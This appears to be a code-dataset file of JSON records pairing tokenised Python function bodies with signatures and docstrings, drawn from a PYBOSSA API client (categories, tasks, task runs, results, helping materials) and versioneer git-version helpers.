{"signature": "def find_category(**kwargs):", "body": "try:<EOL><INDENT>res = _pybossa_req('<STR_LIT>', '<STR_LIT>', params=kwargs)<EOL>if type(res).__name__ == '<STR_LIT:list>':<EOL><INDENT>return [Category(category) for category in res]<EOL><DEDENT>else:<EOL><INDENT>return res<EOL><DEDENT><DEDENT>except:  <EOL><INDENT>raise<EOL><DEDENT>", "docstring": "Return a list with matching Category arguments.\n\n    :param kwargs: PYBOSSA Category members\n    :rtype: list\n    :returns: A list of project that match the kwargs", "id": "f10088:m10"}
{"signature": "def create_category(name, description):", "body": "try:<EOL><INDENT>category = dict(name=name, short_name=name.lower().replace(\"<STR_LIT:U+0020>\", \"<STR_LIT>\"),<EOL>description=description)<EOL>res = _pybossa_req('<STR_LIT>', '<STR_LIT>', payload=category)<EOL>if res.get('<STR_LIT:id>'):<EOL><INDENT>return Category(res)<EOL><DEDENT>else:<EOL><INDENT>return res<EOL><DEDENT><DEDENT>except:  <EOL><INDENT>raise<EOL><DEDENT>", "docstring": "Create a Category.\n\n    :param name: PYBOSSA Category Name\n    :type name: string\n    :param description: PYBOSSA Category description\n    :type decription: string\n    :returns: True -- the response status code", "id": "f10088:m11"}
{"signature": "def update_category(category):", "body": "try:<EOL><INDENT>res = _pybossa_req('<STR_LIT>', '<STR_LIT>',<EOL>category.id, payload=category.data)<EOL>if res.get('<STR_LIT:id>'):<EOL><INDENT>return Category(res)<EOL><DEDENT>else:<EOL><INDENT>return res<EOL><DEDENT><DEDENT>except:  <EOL><INDENT>raise<EOL><DEDENT>", "docstring": "Update a Category instance.\n\n    :param category: PYBOSSA Category\n    :type category: PYBOSSA Category\n    :returns: True -- the response status code", "id": "f10088:m12"}
{"signature": "def delete_category(category_id):", "body": "try:<EOL><INDENT>res = _pybossa_req('<STR_LIT>', '<STR_LIT>', category_id)<EOL>if type(res).__name__ == '<STR_LIT:bool>':<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return res<EOL><DEDENT><DEDENT>except:  <EOL><INDENT>raise<EOL><DEDENT>", "docstring": "Delete a Category with id = category_id.\n\n    :param category_id: PYBOSSA Category ID\n    :type category_id: integer\n    :returns: True -- the response status code", "id": "f10088:m13"}
{"signature": "def get_tasks(project_id, limit=<NUM_LIT:100>, offset=<NUM_LIT:0>, last_id=None):", "body": "if last_id is not None:<EOL><INDENT>params = dict(limit=limit, last_id=last_id)<EOL><DEDENT>else:<EOL><INDENT>params = dict(limit=limit, offset=offset)<EOL>print(OFFSET_WARNING)<EOL><DEDENT>params['<STR_LIT>'] = project_id<EOL>try:<EOL><INDENT>res = _pybossa_req('<STR_LIT>', '<STR_LIT>',<EOL>params=params)<EOL>if type(res).__name__ == '<STR_LIT:list>':<EOL><INDENT>return [Task(task) for task in res]<EOL><DEDENT>else:<EOL><INDENT>return res<EOL><DEDENT><DEDENT>except:  <EOL><INDENT>raise<EOL><DEDENT>", "docstring": "Return a list of tasks for a given project ID.\n\n    :param project_id: PYBOSSA Project ID\n    :type project_id: integer\n    :param limit: Number of returned items, default 100\n    :type limit: integer\n    :param offset: Offset for the query, default 0\n    :param last_id: id of the last task, used for pagination. If provided, offset is ignored\n    :type last_id: integer\n    :type offset: integer\n    :returns: True -- the response status code", "id": "f10088:m14"}
{"signature": "def find_tasks(project_id, **kwargs):", "body": "try:<EOL><INDENT>kwargs['<STR_LIT>'] = project_id<EOL>res = _pybossa_req('<STR_LIT>', '<STR_LIT>', params=kwargs)<EOL>if type(res).__name__ == '<STR_LIT:list>':<EOL><INDENT>return [Task(task) for task in res]<EOL><DEDENT>else:<EOL><INDENT>return res<EOL><DEDENT><DEDENT>except:  <EOL><INDENT>raise<EOL><DEDENT>", "docstring": "Return a list of matched tasks for a given project ID.\n\n    :param project_id: PYBOSSA Project ID\n    :type project_id: integer\n    :param kwargs: PYBOSSA Task members\n    :type info: dict\n    :rtype: list\n    :returns: A list of tasks that match the kwargs", "id": "f10088:m15"}
{"signature": "def create_task(project_id, info, n_answers=<NUM_LIT:30>, priority_0=<NUM_LIT:0>, quorum=<NUM_LIT:0>):", "body": "try:<EOL><INDENT>task = dict(<EOL>project_id=project_id,<EOL>info=info,<EOL>calibration=<NUM_LIT:0>,<EOL>priority_0=priority_0,<EOL>n_answers=n_answers,<EOL>quorum=quorum<EOL>)<EOL>res = _pybossa_req('<STR_LIT>', '<STR_LIT>', payload=task)<EOL>if res.get('<STR_LIT:id>'):<EOL><INDENT>return Task(res)<EOL><DEDENT>else:<EOL><INDENT>return res<EOL><DEDENT><DEDENT>except:  <EOL><INDENT>raise<EOL><DEDENT>", "docstring": "Create a task for a given project ID.\n\n    :param project_id: PYBOSSA Project ID\n    :type project_id: integer\n    :param info: PYBOSSA Project info JSON field\n    :type info: dict\n    :param n_answers: Number of answers or TaskRuns per task, default 30\n    :type n_answers: integer\n    :param priority_0: Value between 0 and 1 indicating priority of task within\n        Project (higher = more important), default 0.0\n    :type priority_0: float\n    :param quorum: Number of times this task should be done by different users,\n        default 0\n    :type quorum: integer\n    :returns: True -- the response status code", "id": "f10088:m16"}
{"signature": "def update_task(task):", "body": "try:<EOL><INDENT>task_id = task.id<EOL>task = _forbidden_attributes(task)<EOL>res = _pybossa_req('<STR_LIT>', '<STR_LIT>', task_id, payload=task.data)<EOL>if res.get('<STR_LIT:id>'):<EOL><INDENT>return Task(res)<EOL><DEDENT>else:<EOL><INDENT>return res<EOL><DEDENT><DEDENT>except:  <EOL><INDENT>raise<EOL><DEDENT>", "docstring": "Update a task for a given task ID.\n\n    :param task: PYBOSSA task", "id": "f10088:m17"}
{"signature": "def delete_task(task_id):", "body": "<EOL>try:<EOL><INDENT>res = _pybossa_req('<STR_LIT>', '<STR_LIT>', task_id)<EOL>if type(res).__name__ == '<STR_LIT:bool>':<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return res<EOL><DEDENT><DEDENT>except:  <EOL><INDENT>raise<EOL><DEDENT>", "docstring": "Delete a task for a given task ID.\n\n    :param task: PYBOSSA task", "id": "f10088:m18"}
{"signature": "def get_taskruns(project_id, limit=<NUM_LIT:100>, offset=<NUM_LIT:0>, last_id=None):", "body": "if last_id is not None:<EOL><INDENT>params = dict(limit=limit, last_id=last_id)<EOL><DEDENT>else:<EOL><INDENT>params = dict(limit=limit, offset=offset)<EOL>print(OFFSET_WARNING)<EOL><DEDENT>params['<STR_LIT>'] = project_id<EOL>try:<EOL><INDENT>res = _pybossa_req('<STR_LIT>', '<STR_LIT>',<EOL>params=params)<EOL>if type(res).__name__ == '<STR_LIT:list>':<EOL><INDENT>return [TaskRun(taskrun) for taskrun in res]<EOL><DEDENT>else:<EOL><INDENT>raise TypeError<EOL><DEDENT><DEDENT>except:<EOL><INDENT>raise<EOL><DEDENT>", "docstring": "Return a list of task runs for a given project ID.\n\n    :param project_id: PYBOSSA Project ID\n    :type project_id: integer\n    :param limit: Number of returned items, default 100\n    :type limit: integer\n    :param offset: Offset for the query, default 0\n    :type offset: integer\n    :param last_id: id of the last taskrun, used for pagination. If provided, offset is ignored\n    :type last_id: integer\n    :rtype: list\n    :returns: A list of task runs for the given project ID", "id": "f10088:m19"}
{"signature": "def find_taskruns(project_id, **kwargs):", "body": "try:<EOL><INDENT>kwargs['<STR_LIT>'] = project_id<EOL>res = _pybossa_req('<STR_LIT>', '<STR_LIT>', params=kwargs)<EOL>if type(res).__name__ == '<STR_LIT:list>':<EOL><INDENT>return [TaskRun(taskrun) for taskrun in res]<EOL><DEDENT>else:<EOL><INDENT>return res<EOL><DEDENT><DEDENT>except:  <EOL><INDENT>raise<EOL><DEDENT>", "docstring": "Return a list of matched task runs for a given project ID.\n\n    :param project_id: PYBOSSA Project ID\n    :type project_id: integer\n    :param kwargs: PYBOSSA Task Run members\n    :rtype: list\n    :returns: A List of task runs that match the query members", "id": "f10088:m20"}
{"signature": "def delete_taskrun(taskrun_id):", "body": "try:<EOL><INDENT>res = _pybossa_req('<STR_LIT>', '<STR_LIT>', taskrun_id)<EOL>if type(res).__name__ == '<STR_LIT:bool>':<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return res<EOL><DEDENT><DEDENT>except:  <EOL><INDENT>raise<EOL><DEDENT>", "docstring": "Delete the given taskrun.\n\n    :param task: PYBOSSA task", "id": "f10088:m21"}
{"signature": "def get_results(project_id, limit=<NUM_LIT:100>, offset=<NUM_LIT:0>, last_id=None):", "body": "if last_id is not None:<EOL><INDENT>params = dict(limit=limit, last_id=last_id)<EOL><DEDENT>else:<EOL><INDENT>params = dict(limit=limit, offset=offset)<EOL>print(OFFSET_WARNING)<EOL><DEDENT>params['<STR_LIT>'] = project_id<EOL>try:<EOL><INDENT>res = _pybossa_req('<STR_LIT>', '<STR_LIT:result>',<EOL>params=params)<EOL>if type(res).__name__ == '<STR_LIT:list>':<EOL><INDENT>return [Result(result) for result in res]<EOL><DEDENT>else:<EOL><INDENT>return res<EOL><DEDENT><DEDENT>except:  <EOL><INDENT>raise<EOL><DEDENT>", "docstring": "Return a list of results for a given project ID.\n\n    :param project_id: PYBOSSA Project ID\n    :type project_id: integer\n    :param limit: Number of returned items, default 100\n    :type limit: integer\n    :param offset: Offset for the query, default 0\n    :param last_id: id of the last result, used for pagination. If provided, offset is ignored\n    :type last_id: integer\n    :type offset: integer\n    :returns: True -- the response status code", "id": "f10088:m22"}
{"signature": "def find_results(project_id, **kwargs):", "body": "try:<EOL><INDENT>kwargs['<STR_LIT>'] = project_id<EOL>res = _pybossa_req('<STR_LIT>', '<STR_LIT:result>', params=kwargs)<EOL>if type(res).__name__ == '<STR_LIT:list>':<EOL><INDENT>return [Result(result) for result in res]<EOL><DEDENT>else:<EOL><INDENT>return res<EOL><DEDENT><DEDENT>except:  <EOL><INDENT>raise<EOL><DEDENT>", "docstring": "Return a list of matched results for a given project ID.\n\n    :param project_id: PYBOSSA Project ID\n    :type project_id: integer\n    :param kwargs: PYBOSSA Results members\n    :type info: dict\n    :rtype: list\n    :returns: A list of results that match the kwargs", "id": "f10088:m23"}
{"signature": "def update_result(result):", "body": "try:<EOL><INDENT>result_id = result.id<EOL>result = _forbidden_attributes(result)<EOL>res = _pybossa_req('<STR_LIT>', '<STR_LIT:result>', result_id, payload=result.data)<EOL>if res.get('<STR_LIT:id>'):<EOL><INDENT>return Result(res)<EOL><DEDENT>else:<EOL><INDENT>return res<EOL><DEDENT><DEDENT>except:  <EOL><INDENT>raise<EOL><DEDENT>", "docstring": "Update a result for a given result ID.\n\n    :param result: PYBOSSA result", "id": "f10088:m24"}
{"signature": "def _forbidden_attributes(obj):", "body": "for key in list(obj.data.keys()):<EOL><INDENT>if key in list(obj.reserved_keys.keys()):<EOL><INDENT>obj.data.pop(key)<EOL><DEDENT><DEDENT>return obj<EOL>", "docstring": "Return the object without the forbidden attributes.", "id": "f10088:m25"}
{"signature": "def create_helpingmaterial(project_id, info, media_url=None, file_path=None):", "body": "try:<EOL><INDENT>helping = dict(<EOL>project_id=project_id,<EOL>info=info,<EOL>media_url=None,<EOL>)<EOL>if file_path:<EOL><INDENT>files = {'<STR_LIT:file>': open(file_path, '<STR_LIT:rb>')}<EOL>payload = {'<STR_LIT>': project_id}<EOL>res = _pybossa_req('<STR_LIT>', '<STR_LIT>',<EOL>payload=payload, files=files)<EOL><DEDENT>else:<EOL><INDENT>res = _pybossa_req('<STR_LIT>', '<STR_LIT>', payload=helping)<EOL><DEDENT>if res.get('<STR_LIT:id>'):<EOL><INDENT>return HelpingMaterial(res)<EOL><DEDENT>else:<EOL><INDENT>return res<EOL><DEDENT><DEDENT>except:  <EOL><INDENT>raise<EOL><DEDENT>", "docstring": "Create a helping material for a given project ID.\n\n    :param project_id: PYBOSSA Project ID\n    :type project_id: integer\n    :param info: PYBOSSA Helping Material info JSON field\n    :type info: dict\n    :param media_url: URL for a media file (image, video or audio)\n    :type media_url: string\n    :param file_path: File path to the local image, video or sound to upload. \n    :type file_path: string\n    :returns: True -- the response status code", "id": "f10088:m26"}
{"signature": "def get_helping_materials(project_id, limit=<NUM_LIT:100>, offset=<NUM_LIT:0>, last_id=None):", "body": "if last_id is not None:<EOL><INDENT>params = dict(limit=limit, last_id=last_id)<EOL><DEDENT>else:<EOL><INDENT>params = dict(limit=limit, offset=offset)<EOL>print(OFFSET_WARNING)<EOL><DEDENT>params['<STR_LIT>'] = project_id<EOL>try:<EOL><INDENT>res = _pybossa_req('<STR_LIT>', '<STR_LIT>',<EOL>params=params)<EOL>if type(res).__name__ == '<STR_LIT:list>':<EOL><INDENT>return [HelpingMaterial(helping) for helping in res]<EOL><DEDENT>else:<EOL><INDENT>return res<EOL><DEDENT><DEDENT>except:  <EOL><INDENT>raise<EOL><DEDENT>", "docstring": "Return a list of helping materials for a given project ID.\n\n    :param project_id: PYBOSSA Project ID\n    :type project_id: integer\n    :param limit: Number of returned items, default 100\n    :type limit: integer\n    :param offset: Offset for the query, default 0\n    :param last_id: id of the last helping material, used for pagination. If provided, offset is ignored\n    :type last_id: integer\n    :type offset: integer\n    :returns: True -- the response status code", "id": "f10088:m27"}
{"signature": "def find_helping_materials(project_id, **kwargs):", "body": "try:<EOL><INDENT>kwargs['<STR_LIT>'] = project_id<EOL>res = _pybossa_req('<STR_LIT>', '<STR_LIT>', params=kwargs)<EOL>if type(res).__name__ == '<STR_LIT:list>':<EOL><INDENT>return [HelpingMaterial(helping) for helping in res]<EOL><DEDENT>else:<EOL><INDENT>return res<EOL><DEDENT><DEDENT>except:  <EOL><INDENT>raise<EOL><DEDENT>", "docstring": "Return a list of matched helping materials for a given project ID.\n\n    :param project_id: PYBOSSA Project ID\n    :type project_id: integer\n    :param kwargs: PYBOSSA HelpingMaterial members\n    :type info: dict\n    :rtype: list\n    :returns: A list of helping materials that match the kwargs", "id": "f10088:m28"}
{"signature": "def update_helping_material(helpingmaterial):", "body": "try:<EOL><INDENT>helpingmaterial_id = helpingmaterial.id<EOL>helpingmaterial = _forbidden_attributes(helpingmaterial)<EOL>res = _pybossa_req('<STR_LIT>', '<STR_LIT>',<EOL>helpingmaterial_id, payload=helpingmaterial.data)<EOL>if res.get('<STR_LIT:id>'):<EOL><INDENT>return HelpingMaterial(res)<EOL><DEDENT>else:<EOL><INDENT>return res<EOL><DEDENT><DEDENT>except:  <EOL><INDENT>raise<EOL><DEDENT>", "docstring": "Update a helping material for a given helping material ID.\n\n    :param helpingmaterial: PYBOSSA helping material", "id": "f10088:m29"}
{"signature": "def __init__(self, data):", "body": "self.__dict__['<STR_LIT:data>'] = data<EOL>", "docstring": "Init method.", "id": "f10088:c0:m0"}
{"signature": "def __getattr__(self, name):", "body": "data = self.__dict__['<STR_LIT:data>']<EOL>if name == '<STR_LIT:data>':<EOL><INDENT>return data<EOL><DEDENT>if name in data:<EOL><INDENT>return data[name]<EOL><DEDENT>raise AttributeError('<STR_LIT>' + name)<EOL>", "docstring": "Get attribute.", "id": "f10088:c0:m1"}
{"signature": "def __setattr__(self, name, value):", "body": "data = self.__dict__['<STR_LIT:data>']<EOL>if name == '<STR_LIT:data>':<EOL><INDENT>self.__dict__['<STR_LIT:data>'] = value<EOL>return True<EOL><DEDENT>if name in data:<EOL><INDENT>data[name] = value<EOL>return True<EOL><DEDENT>raise AttributeError('<STR_LIT>' + name)<EOL>", "docstring": "Set attribute.", "id": "f10088:c0:m2"}
{"signature": "def __repr__(self):  ", "body": "tmp = '<STR_LIT>' + self.short_name + '<STR_LIT>' + str(self.id) + '<STR_LIT:)>'<EOL>return tmp<EOL>", "docstring": "Return a representation.", "id": "f10088:c1:m0"}
{"signature": "def __repr__(self):  ", "body": "tmp = ('<STR_LIT>' + self.short_name + '<STR_LIT>'<EOL>+ str(self.id) + '<STR_LIT:)>')<EOL>return tmp<EOL>", "docstring": "Return a representation.", "id": "f10088:c2:m0"}
{"signature": "def __repr__(self):  ", "body": "return '<STR_LIT>' + str(self.id) + '<STR_LIT:)>'<EOL>", "docstring": "Return a represenation.", "id": "f10088:c3:m0"}
{"signature": "def __repr__(self):  ", "body": "return '<STR_LIT>' + str(self.id) + '<STR_LIT:)>'<EOL>", "docstring": "Return representation.", "id": "f10088:c4:m0"}
{"signature": "def __repr__(self):  ", "body": "return '<STR_LIT>' + str(self.id) + '<STR_LIT:)>'<EOL>", "docstring": "Return representation.", "id": "f10088:c5:m0"}
{"signature": "def __repr__(self):  ", "body": "return '<STR_LIT>' + str(self.id) + '<STR_LIT:)>'<EOL>", "docstring": "Return representation.", "id": "f10088:c6:m0"}
{"signature": "def get_keywords():", "body": "<EOL>git_refnames = \"<STR_LIT>\"<EOL>git_full = \"<STR_LIT>\"<EOL>keywords = {\"<STR_LIT>\": git_refnames, \"<STR_LIT>\": git_full}<EOL>return keywords<EOL>", "docstring": "Get the keywords needed to look up the version information.", "id": "f10100:m0"}
{"signature": "def get_config():", "body": "<EOL>cfg = VersioneerConfig()<EOL>cfg.VCS = \"<STR_LIT>\"<EOL>cfg.style = \"<STR_LIT>\"<EOL>cfg.tag_prefix = \"<STR_LIT:v>\"<EOL>cfg.parentdir_prefix = \"<STR_LIT>\"<EOL>cfg.versionfile_source = \"<STR_LIT>\"<EOL>cfg.verbose = False<EOL>return cfg<EOL>", "docstring": "Create, populate and return the VersioneerConfig() object.", "id": "f10100:m1"}
{"signature": "def register_vcs_handler(vcs, method):  ", "body": "def decorate(f):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if vcs not in HANDLERS:<EOL><INDENT>HANDLERS[vcs] = {}<EOL><DEDENT>HANDLERS[vcs][method] = f<EOL>return f<EOL><DEDENT>return decorate<EOL>", "docstring": "Decorator to mark a method as the handler for a particular VCS.", "id": "f10100:m2"}
{"signature": "def run_command(commands, args, cwd=None, verbose=False, hide_stderr=False):", "body": "assert isinstance(commands, list)<EOL>p = None<EOL>for c in commands:<EOL><INDENT>try:<EOL><INDENT>dispcmd = str([c] + args)<EOL>p = subprocess.Popen([c] + args, cwd=cwd, stdout=subprocess.PIPE,<EOL>stderr=(subprocess.PIPE if hide_stderr<EOL>else None))<EOL>break<EOL><DEDENT>except EnvironmentError:<EOL><INDENT>e = sys.exc_info()[<NUM_LIT:1>]<EOL>if e.errno == errno.ENOENT:<EOL><INDENT>continue<EOL><DEDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % dispcmd)<EOL>print(e)<EOL><DEDENT>return None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % (commands,))<EOL><DEDENT>return None<EOL><DEDENT>stdout = p.communicate()[<NUM_LIT:0>].strip()<EOL>if sys.version_info[<NUM_LIT:0>] >= <NUM_LIT:3>:<EOL><INDENT>stdout = stdout.decode()<EOL><DEDENT>if p.returncode != <NUM_LIT:0>:<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % dispcmd)<EOL><DEDENT>return None<EOL><DEDENT>return stdout<EOL>", "docstring": "Call the given command(s).", "id": "f10100:m3"}
{"signature": "def versions_from_parentdir(parentdir_prefix, root, verbose):", "body": "dirname = os.path.basename(root)<EOL>if not dirname.startswith(parentdir_prefix):<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (root, dirname, parentdir_prefix))<EOL><DEDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>return {\"<STR_LIT:version>\": dirname[len(parentdir_prefix):],<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": False, \"<STR_LIT:error>\": None}<EOL>", "docstring": "Try to determine the version from the parent directory name.\n\n    Source tarballs conventionally unpack into a directory that includes\n    both the project name and a version string.", "id": "f10100:m4"}
{"signature": "@register_vcs_handler(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>def git_get_keywords(versionfile_abs):", "body": "<EOL>keywords = {}<EOL>try:<EOL><INDENT>f = open(versionfile_abs, \"<STR_LIT:r>\")<EOL>for line in f.readlines():<EOL><INDENT>if line.strip().startswith(\"<STR_LIT>\"):<EOL><INDENT>mo = re.search(r'<STR_LIT>', line)<EOL>if mo:<EOL><INDENT>keywords[\"<STR_LIT>\"] = mo.group(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>if line.strip().startswith(\"<STR_LIT>\"):<EOL><INDENT>mo = re.search(r'<STR_LIT>', line)<EOL>if mo:<EOL><INDENT>keywords[\"<STR_LIT>\"] = mo.group(<NUM_LIT:1>)<EOL><DEDENT><DEDENT><DEDENT>f.close()<EOL><DEDENT>except EnvironmentError:<EOL><INDENT>pass<EOL><DEDENT>return keywords<EOL>", "docstring": "Extract version information from the given file.", "id": "f10100:m5"}
{"signature": "@register_vcs_handler(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>def git_versions_from_keywords(keywords, tag_prefix, verbose):", "body": "if not keywords:<EOL><INDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>refnames = keywords[\"<STR_LIT>\"].strip()<EOL>if refnames.startswith(\"<STR_LIT>\"):<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>refs = set([r.strip() for r in refnames.strip(\"<STR_LIT>\").split(\"<STR_LIT:U+002C>\")])<EOL>TAG = \"<STR_LIT>\"<EOL>tags = set([r[len(TAG):] for r in refs if r.startswith(TAG)])<EOL>if not tags:<EOL><INDENT>tags = set([r for r in refs if re.search(r'<STR_LIT>', r)])<EOL>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % \"<STR_LIT:U+002C>\".join(refs-tags))<EOL><DEDENT><DEDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % \"<STR_LIT:U+002C>\".join(sorted(tags)))<EOL><DEDENT>for ref in sorted(tags):<EOL><INDENT>if ref.startswith(tag_prefix):<EOL><INDENT>r = ref[len(tag_prefix):]<EOL>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % r)<EOL><DEDENT>return {\"<STR_LIT:version>\": r,<EOL>\"<STR_LIT>\": keywords[\"<STR_LIT>\"].strip(),<EOL>\"<STR_LIT>\": False, \"<STR_LIT:error>\": None<EOL>}<EOL><DEDENT><DEDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>return {\"<STR_LIT:version>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": keywords[\"<STR_LIT>\"].strip(),<EOL>\"<STR_LIT>\": False, \"<STR_LIT:error>\": \"<STR_LIT>\"}<EOL>", "docstring": "Get version information from git keywords.", "id": "f10100:m6"}
{"signature": "@register_vcs_handler(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>def git_pieces_from_vcs(tag_prefix, root, verbose, run_command=run_command):", "body": "if not os.path.exists(os.path.join(root, \"<STR_LIT>\")):<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % root)<EOL><DEDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>GITS = [\"<STR_LIT>\"]<EOL>if sys.platform == \"<STR_LIT:win32>\":<EOL><INDENT>GITS = [\"<STR_LIT>\", \"<STR_LIT>\"]<EOL><DEDENT>describe_out = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\" % tag_prefix],<EOL>cwd=root)<EOL>if describe_out is None:<EOL><INDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>describe_out = describe_out.strip()<EOL>full_out = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\"], cwd=root)<EOL>if full_out is None:<EOL><INDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>full_out = full_out.strip()<EOL>pieces = {}<EOL>pieces[\"<STR_LIT>\"] = full_out<EOL>pieces[\"<STR_LIT>\"] = full_out[:<NUM_LIT:7>]  <EOL>pieces[\"<STR_LIT:error>\"] = None<EOL>git_describe = describe_out<EOL>dirty = git_describe.endswith(\"<STR_LIT>\")<EOL>pieces[\"<STR_LIT>\"] = dirty<EOL>if dirty:<EOL><INDENT>git_describe = git_describe[:git_describe.rindex(\"<STR_LIT>\")]<EOL><DEDENT>if \"<STR_LIT:->\" in git_describe:<EOL><INDENT>mo = re.search(r'<STR_LIT>', git_describe)<EOL>if not mo:<EOL><INDENT>pieces[\"<STR_LIT:error>\"] = (\"<STR_LIT>\"<EOL>% describe_out)<EOL>return pieces<EOL><DEDENT>full_tag = mo.group(<NUM_LIT:1>)<EOL>if not full_tag.startswith(tag_prefix):<EOL><INDENT>if verbose:<EOL><INDENT>fmt = \"<STR_LIT>\"<EOL>print(fmt % (full_tag, tag_prefix))<EOL><DEDENT>pieces[\"<STR_LIT:error>\"] = (\"<STR_LIT>\"<EOL>% (full_tag, tag_prefix))<EOL>return pieces<EOL><DEDENT>pieces[\"<STR_LIT>\"] = full_tag[len(tag_prefix):]<EOL>pieces[\"<STR_LIT>\"] = int(mo.group(<NUM_LIT:2>))<EOL>pieces[\"<STR_LIT>\"] = mo.group(<NUM_LIT:3>)<EOL><DEDENT>else:<EOL><INDENT>pieces[\"<STR_LIT>\"] = None<EOL>count_out = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"],<EOL>cwd=root)<EOL>pieces[\"<STR_LIT>\"] = int(count_out)  <EOL><DEDENT>return pieces<EOL>", "docstring": "Get version from 'git describe' in the root of the source tree.\n\n    This only gets called if the git-archive 'subst' keywords were *not*\n    expanded, and _version.py hasn't already been rewritten with a short\n    version string, meaning we're inside a checked out source tree.", "id": "f10100:m7"}
{"signature": "def plus_or_dot(pieces):", "body": "if \"<STR_LIT:+>\" in pieces.get(\"<STR_LIT>\", \"<STR_LIT>\"):<EOL><INDENT>return \"<STR_LIT:.>\"<EOL><DEDENT>return \"<STR_LIT:+>\"<EOL>", "docstring": "Return a + if we don't already have one, else return a .", "id": "f10100:m8"}
{"signature": "def render_pep440(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"] or pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += plus_or_dot(pieces)<EOL>rendered += \"<STR_LIT>\" % (pieces[\"<STR_LIT>\"], pieces[\"<STR_LIT>\"])<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>rendered = \"<STR_LIT>\" % (pieces[\"<STR_LIT>\"],<EOL>pieces[\"<STR_LIT>\"])<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT><DEDENT>return rendered<EOL>", "docstring": "Build up version string, with post-release \"local version identifier\".\n\n    Our goal: TAG[+DISTANCE.gHEX[.dirty]] . Note that if you\n    get a tagged build and then dirty it, you'll get TAG+0.gHEX.dirty\n\n    Exceptions:\n    1: no tags. git_describe was just HEX. 0+untagged.DISTANCE.gHEX[.dirty]", "id": "f10100:m9"}
{"signature": "def render_pep440_pre(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>rendered = \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL><DEDENT>return rendered<EOL>", "docstring": "TAG[.post.devDISTANCE] -- No -dirty.\n\n    Exceptions:\n    1: no tags. 0.post.devDISTANCE", "id": "f10100:m10"}
{"signature": "def render_pep440_post(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"] or pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT>rendered += plus_or_dot(pieces)<EOL>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>rendered = \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL><DEDENT>return rendered<EOL>", "docstring": "TAG[.postDISTANCE[.dev0]+gHEX] .\n\n    The \".dev0\" means dirty. Note that .dev0 sorts backwards\n    (a dirty tree will appear \"older\" than the corresponding clean one),\n    but you shouldn't be releasing software with -dirty anyways.\n\n    Exceptions:\n    1: no tags. 0.postDISTANCE[.dev0]", "id": "f10100:m11"}
